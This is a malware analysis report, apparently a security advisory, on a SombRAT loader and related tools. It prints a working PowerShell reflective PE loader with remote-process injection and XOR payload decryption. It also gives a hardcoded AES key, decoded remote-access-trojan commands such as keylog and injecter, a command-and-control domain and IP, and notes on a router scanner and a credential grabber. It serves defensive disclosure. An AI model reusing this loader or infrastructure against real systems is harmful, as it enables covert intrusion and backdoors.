               $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
           }
       }
       elseif ($PEInfo.FileType -ieq "EXE")
       {
           #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
           [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
           [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
           $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr

           #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
           #    This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
           [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
           #Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."

           $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null

           $PEBytes = $null
           
           #Write-Host 'Executing...'
           
           [GC]::Collect()
           
           while($true)
           {
               [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
               if ($ThreadDone -eq 1)
               {
                   Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
                   break
               }
               else
               {
                   Start-Sleep -Seconds 1
               }
           }
       }
       
       return @($PEInfo.PEHandle, $EffectivePEHandle)
   }
   
   
   Function Invoke-MemoryFreeLibrary
   {
       Param(
       [Parameter(Position=0, Mandatory=$true)]
       [IntPtr]
       $PEHandle
       )
       
       #Get Win32 constants and functions
       $Win32Constants = Get-Win32Constants
       $Win32Functions = Get-Win32Functions
       $Win32Types = Get-Win32Types
       
       $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
       
       #Call FreeLibrary for all the imports of the DLL
       if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
       {
           [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
           
           while ($true)
           {
               $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
               
               #If the structure is null, it signals that this is the end of the array
               if ($ImportDescriptor.Characteristics -eq 0 `
                       -and $ImportDescriptor.FirstThunk -eq 0 `
                       -and $ImportDescriptor.ForwarderChain -eq 0 `
                       -and $ImportDescriptor.Name -eq 0 `
                       -and $ImportDescriptor.TimeDateStamp -eq 0)
               {
                   #Write-Verbose "Done unloading the libraries needed by the PE"
                   break
               }

               $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
               $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)

               if ($ImportDllHandle -eq $null)
               {
                   #Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
               }
               
               $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
               if ($Success -eq $false)
               {
                   #Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
               }
               
               $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
           }
       }
       
       #Call DllMain with process detach
       #Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
       $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
       $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
       $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
       
       $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
       
       
       $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
       if ($Success -eq $false)
       {
           #Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
       }
   }


   Function Main
   {
       $Win32Functions = Get-Win32Functions
       $Win32Types = Get-Win32Types
       $Win32Constants = Get-Win32Constants
       
       $RemoteProcHandle = [IntPtr]::Zero
   
       #If a remote process to inject in to is specified, get a handle to it
       if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
       {
           Throw "Can't supply a ProcId and ProcName, choose one or the other"
       }
       elseif ($ProcName -ne $null -and $ProcName -ne "")
       {
           $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
           if ($Processes.Count -eq 0)
           {
               Throw "Can't find process $ProcName"
           }
           elseif ($Processes.Count -gt 1)
           {
               $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
               Write-Output $ProcInfo
               Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
           }
           else
           {
               $ProcId = $Processes[0].ID
           }
       }
       
       #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
       #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
#        if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
#        {
#            #Write-Verbose "Getting SeDebugPrivilege"
#            Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
#        }    
       
       if (($ProcId -ne $null) -and ($ProcId -ne 0))
       {
           $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
           if ($RemoteProcHandle -eq [IntPtr]::Zero)
           {
               Throw "Couldn't obtain the handle for process ID: $ProcId"
           }
           
           #Write-Verbose "Got the handle for the remote process to inject in to"
       }
       

       #Load the PE reflectively
       #Write-Verbose "Calling Invoke-MemoryLoadLibrary"
       $PEHandle = [IntPtr]::Zero
       if ($RemoteProcHandle -eq [IntPtr]::Zero)
       {
           $PELoadedInfo = Invoke-MemoryLoadLibrary -ExeArgs $ExeArgs -ForceASLR $ForceASLR
       }
       else
       {
           $PELoadedInfo = Invoke-MemoryLoadLibrary -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
       }
       if ($PELoadedInfo -eq [IntPtr]::Zero)
       {
           Throw "Unable to load PE, handle returned is NULL"
       }
       
       $PEHandle = $PELoadedInfo[0]
       $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
       
       
       #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
       $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
       if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
       {
           #########################################
           ### YOUR CODE GOES HERE
           #########################################
           switch ($FuncReturnType)
           {
               'WString' {
                   #Write-Verbose "Calling function with WString return type"
                   [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
                   if ($WStringFuncAddr -eq [IntPtr]::Zero)
                   {
                       Throw "Couldn't find function address."
                   }
                   $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
                   $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
                   [IntPtr]$OutputPtr = $WStringFunc.Invoke()
                   $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
                   Write-Output $Output
               }

               'String' {
                   #Write-Verbose "Calling function with String return type"
                   [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
                   if ($StringFuncAddr -eq [IntPtr]::Zero)
                   {
                       Throw "Couldn't find function address."
                   }
                   $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
                   $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
                   [IntPtr]$OutputPtr = $StringFunc.Invoke()
                   $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
                   Write-Output $Output
               }

               'Void' {
                   #Write-Verbose "Calling function with Void return type"
                   [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
                   if ($VoidFuncAddr -eq [IntPtr]::Zero)
                   {
                       Throw "Couldn't find function address."
                   }
                   $VoidFuncDelegate = Get-DelegateType @() ([Void])
                   $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
                   $VoidFunc.Invoke() | Out-Null
               }
           }
           #########################################
           ### END OF YOUR CODE
           #########################################
       }
       #For remote DLL injection, call a void function which takes no parameters
       elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
       {
           $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
           if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
           {
               Throw "VoidFunc couldn't be found in the DLL"
           }
           
           $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
           $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
           
           #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
           $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
       }
       
       #Don't free a library if it is injected in a remote process or if it is an EXE.
       #Note that all DLL's loaded by the EXE will remain loaded in memory.
       if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
       {
           Invoke-MemoryFreeLibrary -PEHandle $PEHandle
       }
       else
       {
           #Delete the PE file from memory.
           $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
           if ($Success -eq $false)
           {
               #Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
           }
       }
       
       #Write-Verbose "Done!"
   }

   Main
}



$key = [IO.File]::ReadAllBytes('c:\programdata\Microsoft\WwanSvc.a')
$PEBytes = [IO.File]::ReadAllBytes('c:\programdata\Microsoft\WwanSvc.b')

Write-Host 1

#Write-Host 'Key length: ' $key.count
#Write-Host 'Encrypted length: ' $PEBytes.count

for($i=0; $i -lt $PEBytes.count ; $i++) {
   $PEBytes[$i] = ($PEBytes[$i] -bxor $key[$i % $key.count])
}

Write-Host 2

#Write-Host 'Dump decrypted base64 PEBytes...'

$FuncReturnType = 'Void'
$ProcId = $null
$ProcName = $null
$ForceASLR = 0
$ComputerName = $null
$DoNotZeroMZ = 0;
$ExeArgs = "none"

Write-Host 3

#Verify the image is a valid PE file
$e_magic = ($PEBytes[0..1000000] | % {[Char] $_}) -join ''

if ($e_magic -ne 'MZ') {
   throw 'PE is not a valid PE file.'
}

Write-Host 4

RemoteScriptBlock $FuncReturnType $ProcId $ProcName $ForceASLR
---End Decoded Script Content---

The script will decode the content of WwanSvc.b (c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd) and then check to confirm that it has a valid PE header. The script will also check the system environment for a 64-bit architecture. The executable is not written to disk but loaded directly into memory.

c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd

Tags

downloaderremote-access-trojanuploader

Details
Name WwanSvc.b
Size 706560 bytes
Type data
MD5 27c1574b820350b191d9fba514d70720
SHA1 054ab4fd3a57436685e7067ff34b8efb45669fc6
SHA256 c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd
SHA512 e2445cf26c7b33bae91474246133d55ff67fa20acaa1c80c142e356b89927e4b0f9bd0a4ed82630919ddd56303030fb96c5187b27494a9a6aec0b8d57c4c404d
ssdeep 12288:j5ql+KNySxRR0wsrddKHjNQRbYnBuBi4EwC+Qpho5IRgYh3bDhuVS91o63p002nV:FqlFBRty+GNiuB5qogbgW/002nV
Entropy 7.998041
Path C:\ProgramData\Microsoft
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
c5a1dbb49f... Used bfc50bf40aae3b41d77169fba45c332b8c60406b403af647f1bb083918a33b9e
c5a1dbb49f... Used dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291
Description

This artifact, when decoded, is a 64-bit variant of the SombRAT loader. The primary purpose of the loader is to allow a remote operator to securely download and load executable plugins on a target system. Given this plugin structure, the author can easily mold the RAT to provide additional functionalities and capabilities. The application contains two hard coded public RSA keys, which it will utilize to secure its command and control (C2) sessions with the remote operator. Static analysis indicates that the C2 communications will also be encrypted using Advanced Encryption Standard (AES) resulting in a secure Secure Sockets Layer (SSL) tunnel with the remote operator.

The configuration file, 59fb3174bb34e803 was also submitted for analysis. This file, located in C:\ProgramData, contains data the malware requires at runtime, including the operator controlled remote C2 address. The malware decrypts this configuration file with the hard coded AES key ‘ujnchdyfngtreaycnbjgi837157fncae’. See Figure 1.

The malware contains numerous encoded strings, including an AES key that is used to decrypt the malware configuration file. The malware decrypts these strings by first XORing them with the first byte. The malware then decrypts the rest of the string by XORing it with the single byte XOR key 0xDE. This string can be decrypted by XORing the entire string with the value 0x78, and then XORing the result with 0xDE.

The RAT provides most of its C2 capabilities to the remote operator by allowing the remote operator to securely transfer executable dynamic-link library (DLL) plugins to the target system. This is done via a protected SSL session and load these plugins at will via the embedded plugin framework. The native malware itself does not provide much actual functionality to the operator without the code provided by the plugins. Some of the native functionality that the malware provides without the use of a plugin includes collecting system data such as computer name, user name, current process, operating system (OS) version, local system time, and current process that the malware is running as. The program also contains native C2 capabilities allowing it to communicate with the remote operator using an embedded SOCKS proxy or via domain name system (DNS) tunneling.

The malware does contain hard coded commands that it uses to evaluate against operator-provided data. These commands are encoded within the binary, and they are not encoded before being compared against operator-provided data —indicating the malware expects the remote operator to encode the commands before passing them to the Remote Access Tool. Some of the decoded strings the malware uses during its C2 sessions are displayed below:

---Begin Embedded Commands---

srubp || debug
~yqxezvc~xyvttrgcrs || informationaccepted
{xvsqexzq~{r || loadfromfile
uexvstvdc || broadcast
g{bp~yby{xvs || pluginunload
v`v~cHprctxycryc || await_getcontent
zxsb{rd{~dc || moduleslist
yrc`xe|txyyrtcrs || networkconnected
gextrddyvzr || processname
|rn{xp || keylog
{xvsqexzzrzxen || loadfrommemory
~y~c~v{~mrvys{xvsg{bp~yunby~f~s || initializeandpluginbyuniqid
prc~yqx || getinfo
t{xdrvyssr{rcrdcxevpr || closeanddeletestorage
{xvsg{bp~ytxzg{rcr || loadplugincomplete
{xvsqexzdcxevpr || loadfromstorage
vdnytrarycdtxbyc || asynceventscount
yrc`xe|s~dtxyyrtcrs || networkdisconnected
ub~{sg{vcqxez || buildplatform
srdte~gcxedtxbyc || descriptorscount
g{bp~y{xvstxzg{rcr || pluginloadcomplete
d.bcsx`y || shutdown
{xvsvds{{ || loadasdll
g{bp~yby{xvstxzg{rcr || pluginunloadcomplete
~y}rtcxe || injecter
by~ydcv{{ || uninstall
`~yg{vcqxez || winplatform
s{{q~{ryvzr || dllfilename
~d`x`!# || iswow64
dcxevprxgryreexe || storageopenerror
dcxevprt{xdrs || storageclosed
t{xdrdcxevpr || closestorage
erdrcdcxevpr || resetstorage
tervcr || create
bg{xvs || upload
dcxevprxgryrs || storageopened
srubp{xp || debuglog
prcgextrdd{~dc || getprocesslist
xgrydcxevpr || openstorage
t{rvev{{ || clearall
dcxevprt{xdrreexe || storagecloseerror
sr{rcrxydbttrdd || deleteonsuccess
gextrdd{~dc || processlist
|~{{gextrddung~s || killprocessbypid
|~{{gextrddunyvzr || killprocessbyname

---End Embedded Commands---

Many of the commands from the embedded proxy were also decoded. The following is a sample of the decoded commands:

---Begin Decoded Proxy Commands---

prctxycryc || getcontent
gexongxec || proxyport
ertxyyrtc || reconnect
gexonsxzv~y || proxydomain
erdrcgexon || resetproxy
gexonbdre || proxyuser
drcgexon || setproxy
gexoncngr || proxytype
ertauncrd || recvbytes
d`~ct.cxsyd || switchtodns
s~dtxyyrtc || disconnect
prcgexon || getproxy
d`~ct.cxctg || switchtotcp

---End Decoded Proxy Commands---

The malware also contains an encoded note presumably designed for malware analysts whom analyze the code. Translation is "Nobody's perfect but me." See Figure 2.

Screenshots
Figure 2. -

Figure 2. -

Figure 1. -

Figure 1. -

a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa

Tags

loaderobfuscated

Details
Name WwanSvc.a__2
Size 256 bytes
Type data
MD5 e4c3fff8caedf0ecf6c88d6566e5bbbc
SHA1 6aacdcba1a6e645ef51bd78b080b14482593f985
SHA256 a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa
SHA512 51c37f58074b143b1ba57564134569a91b2e978b6ab704262f12f77c49b08ed47e46111b06da26e3ce1abe374da3d5d2d65dbe12a7b738b3280152cdeadc7694
ssdeep 6:0lTfidEojQg4KBACrBzMmp599q7ATeha0RuvsCeBtGJ0/NM06MOqsvb:YUxtACxRBqU6ha0YvsCGo06MOqib
Entropy 8.000000
Path C:\ProgramData\Microsoft
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
a7f5097c0d... Related_To 911a88fe16efca24206f1786242615596e67a9336bc670c1e44a33727987d886
a7f5097c0d... Related_To c0a214a60daac6f0ba01ce9128d42bb2d8e81909f4b87963de340ab8627a6b0b
Description

This artifact contains a 256 byte key that is used by the base64 encoded script in WwanSvc.txt to decode a new PowerShell script in WwanSvc.c_2. The key is also used to decode the reflectively loaded payload in WwanSvc.b_2.

911a88fe16efca24206f1786242615596e67a9336bc670c1e44a33727987d886

Tags

file-lessloaderobfuscated

Details
Name WwanSvc.c__2
Size 121572 bytes
Type data
MD5 70817c4ec5e11736e0cfee5d10eb7fd5
SHA1 a29d2e4b55bf9919912a52d44931e17c073428a2
SHA256 911a88fe16efca24206f1786242615596e67a9336bc670c1e44a33727987d886
SHA512 b44e21ef7b205d2b39e86440adb8542383d878b0cb3d059654c07573d37f281eb7e627b17a2707fa0ad0c6e04f3e16a36a9248fb7e7223064453279aeaefeda3
ssdeep 3072:CZOS7EuckzCINqSz+T4XgeW02d7XYHX4Ll7:YouBTUT4ge2d7o349
Entropy 7.998462
Path C:\ProgramData\Microsoft
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
911a88fe16... Related_To a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa
Description

The decoded content of this artifact is identical to the content found in WwanSvc.c. The file has been XOR encoded using the 256 byte found in WwanSvc.a_2.

c0a214a60daac6f0ba01ce9128d42bb2d8e81909f4b87963de340ab8627a6b0b

Tags

downloaderremote-access-trojanuploader

Details
Name WwanSvc.b__2
Size 701952 bytes
Type data
MD5 5995868461ab50df049438a6aade7481
SHA1 c9fab63ec0d603197d18ce90f34e7af73f9e7679
SHA256 c0a214a60daac6f0ba01ce9128d42bb2d8e81909f4b87963de340ab8627a6b0b
SHA512 177c9ce930d210b08741e3c39189ff3511137421921310630a5fae7942e89e53ee8a5c473ff9c40b8e5bbe2fcf43f66c76881314d20bce7320583b74b6700adb
ssdeep 12288:Si5Pge+HQa6GVJdX3J58QpweBrFdkfPO4eijQYUKnJqUE0:Si5PAQa6GZ5pwSOfB3QYBJqC
Entropy 7.998112
Path C:\ProgramData\Microsoft
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
c0a214a60d... Related_To a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa
Description

This artifact is identical to c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd detailed in this report. The RAT has been obfuscated using the XOR key from a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa also in this report.

bfc50bf40aae3b41d77169fba45c332b8c60406b403af647f1bb083918a33b9e

Details
Name 59fb3174bb34e803
Size 384 bytes
Type data
MD5 440a5d706ee43959434d0f78758d94a0
SHA1 bd3d107f8016bb249623033745fc8ce34807590b
SHA256 bfc50bf40aae3b41d77169fba45c332b8c60406b403af647f1bb083918a33b9e
SHA512 365b39e6b0745167ab04eb699c39031ea076b9d634d6943fc66d9936448b8c4cd0f191aac5709ed6c3adf89ae492fa6cbcedd157a22e24d36f048804c24d15f3
ssdeep 6:SFrUf9Ad4khJDJuvfExTo44Rw8c5CsU+C1SSmwUN0KcsG+u5hhaIUrDJfAtZ5/HM:arG1khJDIeo44R1c5C1+C1/hUcsvkHGj
Entropy 7.421853
Path C:\ProgramData
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
bfc50bf40a... Connected_To feticost.com
bfc50bf40a... Used_By c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd
Description

This artifact is an encrypted configuration file that is read by the WwanSvc program. The configuration file contains the hardcoded domain, feticost.com. The program attempts DNS queries for this domain prepending a third level domain that consists of seven to nine random hexidecimal characters, e.g. bb95058f1.feticost.com.

feticost.com

Tags

command-and-control

Whois

Domain Name: FETICOST.COM
Registry Domain ID: 2573255396_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.tucows.com
Registrar URL: http://www.tucows.com
Updated Date: 2021-02-18T19:23:17Z
Creation Date: 2020-11-18T20:57:21Z
Registry Expiry Date: 2021-11-18T20:57:21Z
Registrar: Tucows Domains Inc.
Registrar IANA ID: 69
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone:
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Name Server: NS1.FETICOST.COM
Name Server: NS2.FETICOST.COM
DNSSEC: unsigned

Domain Name: FETICOST.COM
Registry Domain ID: 2573255396_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.tucows.com
Registrar URL: http://tucowsdomains.com
Updated Date: 2021-02-18T19:23:16
Creation Date: 2020-11-18T20:57:21
Registrar Registration Expiration Date: 2021-11-18T20:57:21
Registrar: TUCOWS, INC.
Registrar IANA ID: 69
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Registry Registrant ID:
Registrant Name: REDACTED FOR PRIVACY
Registrant Organization: REDACTED FOR PRIVACY
Registrant Street: REDACTED FOR PRIVACY
Registrant City: REDACTED FOR PRIVACY
Registrant State/Province: Charlestown
Registrant Postal Code: REDACTED FOR PRIVACY
Registrant Country: KN
Registrant Phone: REDACTED FOR PRIVACY
Registrant Phone Ext:
Registrant Fax: REDACTED FOR PRIVACY
Registrant Fax Ext:
Registrant Email: https://tieredaccess.com/contact/1c4c43bb-ee8a-433e-9a77-71a4c740da84
Registry Admin ID:
Admin Name: REDACTED FOR PRIVACY
Admin Organization: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin City: REDACTED FOR PRIVACY
Admin State/Province: REDACTED FOR PRIVACY
Admin Postal Code: REDACTED FOR PRIVACY
Admin Country: REDACTED FOR PRIVACY
Admin Phone: REDACTED FOR PRIVACY
Admin Phone Ext:
Admin Fax: REDACTED FOR PRIVACY
Admin Fax Ext:
Admin Email: REDACTED FOR PRIVACY
Registry Tech ID:
Tech Name: REDACTED FOR PRIVACY
Tech Organization: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech City: REDACTED FOR PRIVACY
Tech State/Province: REDACTED FOR PRIVACY
Tech Postal Code: REDACTED FOR PRIVACY
Tech Country: REDACTED FOR PRIVACY
Tech Phone: REDACTED FOR PRIVACY
Tech Phone Ext:
Tech Fax: REDACTED FOR PRIVACY
Tech Fax Ext:
Tech Email: REDACTED FOR PRIVACY
Name Server: ns1.feticost.com
Name Server: ns2.feticost.com
DNSSEC: unsigned

Relationships
feticost.com Connected_From bfc50bf40aae3b41d77169fba45c332b8c60406b403af647f1bb083918a33b9e
feticost.com Resolved_To 51.89.50.152
Description

The file 59fb3174bb34e803 attempted to connect to the IP address at the time of analysis.

51.89.50.152

Relationships
51.89.50.152 Resolved_To feticost.com
Description

At the time of analysis the domain feticost.com resolved to this IP address.

18229920a45130f00539405fecab500d8010ef93856e1c5bcabf5aa5532b3311

Tags

reconnaissance

Details
Name RouterScan.exe
Size 2807808 bytes
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 9cfd524557c76097bbf6cf493b351a04
SHA1 ae16aea46540f2013c92e2a9ba3310824c949554
SHA256 18229920a45130f00539405fecab500d8010ef93856e1c5bcabf5aa5532b3311
SHA512 1ea7e45129cbe508a7fdf43ed76add82cabaa1ef75bc492f7fb6e373c4a2af3d7b3014000dbfc544c8a8dba469a1d165d3ad99bd4cf6a538f1bba462eda91561
ssdeep 49152:jBFDCgg0ISOvxXI0cpb4NGvFILfGBRysfTuTP3:jX4xI0gvFrBRy/3
Entropy 6.569284
Antivirus
McAfee GenericRXNT-SV!9CFD524557C7
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2020-10-18 13:22:11-04:00
Import Hash db0d6c362bcdb15cb58ca00d4881514f
Company Name Stas'M Corp.
File Description Router Scan by Stas'M
Internal Name Router Scan
Legal Copyright Copyright © Stas'M Corp. 2020
Original Filename RouterScan.exe
Product Name Router Scan by Stas'M
Product Version 2.6.0.0
PE Sections
MD5 Name Raw Size Entropy
06641923d8930b820ae0fa2744ffbfce header 1024 2.503522
cefdcb37a37e2c0d08f51b64b7725a9f .text 2202624 6.336674
710055abcb0a0e06b57618351d043d7b .itext 7680 6.007764
b5c7525826eacee1f3c9cde60af087af .data 59904 5.974659
d41d8cd98f00b204e9800998ecf8427e .bss 0 0.000000
81b3c32719fa3be1b1be9d29173d1e0f .idata 16384 5.151731
f0a26ffcf00e65e34c3a9e5a2876c722 .didata 1024 3.607385
d41d8cd98f00b204e9800998ecf8427e .tls 0 0.000000
a25cceaee97599dd7fb13cc3ecb3f744 .rdata 512 0.210826
11cb8b70eea47fc8d6855bd177f8a71c .reloc 171520 6.706152
1deda5de7f7cb7e571031b2163a9b359 .rsrc 347136 6.750274
Packers/Compilers/Cryptors
BobSoft Mini Delphi -> BoB / BobSoft
Description

This artifact is Router Scan v2.60 by Stas,M. This utility is used to identify network routers and proxy servers on a network. The latest release of this program (v2.60) contains a list of common admin names and passwords that can be used for a dictionary attack to gain access to a network router. The program also contains code to identify common vulnerabilities and leverage exploits against many popular routers. The program can be customized to scan any subnet, any particular port, or protocol. The latest version also contains software to scan for wireless network access points. To execute this program, two libraries are required: librouter.dll and libeay32.dll. Upon execution, the program will generate several telemetry files that are dropped in the current directory. These files are named RouterScan.log, Config.ini, filter.txt, exclusions.txt, ports.txt, and ranges.txt.

Screenshots
Figure 3. -

Figure 3. -

7d57e0ba8b36ec221b16807ce4e13a1125d53922fa50c3827a5ebd6811736ffd

Tags

credential-harvestertrojan

Details
Name grabff.exe
Size 7680 bytes
Type PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 4d3d3919dda002511e03310c49b7b47f
SHA1 b16a1eb8bc2e5d4ded04bfaa9ee2b861ead143ba
SHA256 7d57e0ba8b36ec221b16807ce4e13a1125d53922fa50c3827a5ebd6811736ffd
SHA512 c9479a4e25fadfb0135bfa69e3da3d8f1aeffe6e4bc1a2797a59dcbb03ef24f16471577f1223d56d9b5a4efc53a7056aecef4100da8316d603e6f6b4abfeac9c
ssdeep 96:SUAX6SDdzEtOjmbUgvuNixSo+P1VP1ZLYttKftddvzNt:1ANEtOjmoNkPA1pYttKVX5
Entropy 4.596081
Antivirus
Ahnlab Trojan/Win.MSIL
Avira TR/Agent.wzlfi
Bitdefender Trojan.GenericKD.46215542
Emsisoft Trojan.GenericKD.46215542 (B)
K7 Riskware ( 0040eff71 )
Lavasoft Trojan.GenericKD.46215542
McAfee RDN/Generic.dx
NANOAV Trojan.Win32.Stealer.iuvcng
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2089-03-19 14:11:14-04:00
Import Hash f34d5f2d4577ed6d9ceec516c1f5a744
File Description grabff
Internal Name grabff.exe
Legal Copyright Copyright © 2020
Original Filename grabff.exe
Product Name grabff
Product Version 1.0.0.0
PE Sections
MD5 Name Raw Size Entropy
b203efaadd0c4f2ecd98c9b8a0b19d17 header 512 2.602195
eaf514816a407e08363e07afe7542382 .text 5120 5.077952
9b966fca775229b7005842be47aa73e9 .rsrc 1536 4.034473
